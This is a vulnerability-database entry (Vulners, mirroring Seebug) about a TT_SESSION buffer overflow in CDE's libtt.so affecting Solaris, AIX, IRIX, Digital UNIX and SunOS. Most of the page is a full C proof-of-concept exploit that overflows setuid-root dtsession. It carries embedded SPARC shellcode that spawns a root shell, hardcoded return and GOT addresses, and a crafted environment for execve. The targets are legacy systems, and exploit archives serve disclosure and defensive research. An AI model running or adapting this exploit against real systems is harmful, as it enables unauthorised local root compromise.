Lucene search
K

DIGITAL UNIX 4.0 d/f,AIX <= 4.3.2,CDE <= 2.1,IRIX <= 6.5.14,Solaris <= 7.0,SunOS <= 4.1.4 BoF

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

The libtt.so shared library under certain versions of CDE handles a user defined variable titled TT_SESSION, leading to a buffer overflow

Code

                                                /*
source: http://www.securityfocus.com/bid/641/info

TRU64/DIGITAL UNIX 4.0 d/f,AIX &#60;= 4.3.2,Common Desktop Environment &#60;= 2.1 20, IRIX &#60;= 6.5.14,Solaris &#60;= 7.0,SunOS &#60;= 4.1.4 TTSession Buffer Overflow Vulnerability 

The libtt.so shared library under certain versions of CDE handles a user defined variable titled TT_SESSION. The code which handles this variable does not place a restriction on its size. At least one of the CDE programs which rely on this variable do not have sufficient bounds checking in place for this variable. This can result in a buffer overflow. The program in question is dtsession.

Due to the fact that dtsession is running setuid root and does not remove the root privilege (at least as tested on Solaris), the overflow can lead to local root compromise. 
*/

/*
 * ovsession.c
 * Job de Haas
 * (C) ITSX BV 1999
 *
 * Some proof of concept code (== really ugly, barely working) at exploiting
 * an overflow in libtt.so when parsing the TT_SESSION string.
 * Only tested on a Solaris 2.6 sun4c sparc, with and without patch 105802-07
 * based loosly on code by horizon &#60;[email protected]&#62;
 * Somehow the overflow is very sensitive to caching of the stack. To see that
 * it really does work, run it in a debugger and set a break point in tt_open()
 * when that is reached, set a breakpoint in sscanf and continue. When that is
 * reached continue again and it will either crash or execute a shell.
 */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/systeminfo.h&#62;
#include &#60;unistd.h&#62;
#include &#60;string.h&#62;

#define BUF_LEN 280

char exploit[] =
&#34;\220\33\100\15\202\20\40\27\221\323\100\15\220\33\100\17\
\220\2\40\10\320\43\277\370\224\2\40\11\332\52\277\377\
\332\43\277\374\220\33\140\1\202\20\40\6\221\323\100\15\
\220\33\100\15\202\20\40\51\221\323\100\15\320\3\277\370\
\222\43\240\10\224\43\240\4\202\20\40\73\221\323\100\15\
\232\33\100\15\232\33\100\15\232\33\100\15\232\33\100\15\
\232\33\100\15\232\33\100\15\232\33\100\15\232\33\100\15\
\177\377\377\344\232\33\100\15\57\142\151\156\57\153\163\150QQQ&#34;;

#if patched
#define got     0xef6d2be0
#else
#define got     0xef6d2f84
#endif

main()
{
    char *argp[6], *envp[20];
    char buf[3072];
    char *ttsess;
    char *display;
    u_long *longp;
    char data[512];
    char padding[64];
    char platform[256];
    int pad=31;
    int i;

    memset(buf,0,3072);
    memset(buf,&#39;a&#39;,BUF_LEN);

    longp = (unsigned long *)(buf+BUF_LEN);

    /* %l0 - %l7 */
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;

    /* %i0 - %i7 */
    *longp++ = 0xdeadcafe;
    *longp++ = 0xefffff94;      /* make sure %i1 can be used */
    *longp++ = 0xdeadcafe;
    *longp++ = got;             /* also used before we get to the exploit */
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;
    *longp++ = 0xefffffb0;      /* frame with some necessary values */
    *longp++ = 0xeffffdd0;      /* return into the exploit code */


    longp=(unsigned long *)data;

    *longp++=0xdeadbeef;
    *longp++=0xdeadbeef;
    *longp++=0xdeadbeef;
    *longp++=0xdeadbeef;
    *longp++=0xdeadbeef;
    *longp++=0xffffffff;
    *longp++=0xdeadbeef;
    *longp++=0;
    *longp++=0xefffffb4;
    *longp++=0x01;
    *longp++=0xef6dc154;
    *longp++=0xeffffd26;
    *longp++=0x00;

    argp[0] = strdup(&#34;/usr/dt/bin/dtsession&#34;);
    argp[1] = NULL;

    if (!getenv(&#34;DISPLAY&#34;)) {
        printf(&#34;forgot to set DISPLAY\n&#34;);
        exit(1);
    }

    sysinfo(SI_PLATFORM,platform,256);
    pad+=20-strlen(platform)-strlen(argp[0]);

    for (i=0;i&#60;pad;padding[i++]=&#39;C&#39;)
        padding[i]=0;

    /* create an enviroment size independent of the size of $DISPLAY */
    display = malloc( 8 + strlen(getenv(&#34;DISPLAY&#34;)) + 1);
    strcpy(display,&#34;DISPLAY=&#34;);
    strcat(display+8,getenv(&#34;DISPLAY&#34;));
    envp[0] = display;
    envp[1] = malloc(60);
    memset(envp[1], 0, 60);
    memset(envp[1], &#39;a&#39;, 60 - strlen(envp[0]));
    strncpy(envp[1],&#34;W=&#34;,2);

    /* put the exploit code in the env space (easy to locate) */
    envp[2] = strdup(exploit);

    /* create the overflow string */
    ttsess = strdup(&#34;TT_SESSION=01 18176 1289637086 1 0 1000 %s 4&#34;);
    envp[3] = malloc( strlen(ttsess) + strlen(buf));
    sprintf(envp[3],ttsess,buf);

    /* make it easier to debug, probably smarter ways to do this */
    envp[4] = strdup(&#34;LD_BIND_NOW=1   &#34;);

    /* put some data in the environment to keep the code running after the
       overflow, but before the return pointer is used. includes NULL ptrs */
    envp[5]=(data);
    envp[6]=&#34;&#34;;
    envp[7]=&#34;&#34;;
    envp[8]=&#34;&#34;;
    envp[9]=&(data[32]);
    envp[10]=&#34;&#34;;
    envp[11]=&#34;&#34;;
    envp[12]=&(data[39]);
    envp[13]=&#34;&#34;;
    envp[14]=&#34;&#34;;
    envp[15]=&#34;\010&#34;;
    envp[16]=padding;
    envp[17]=NULL;

    execve(&#34;/usr/dt/bin/dtsession&#34;,argp,envp);

}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
24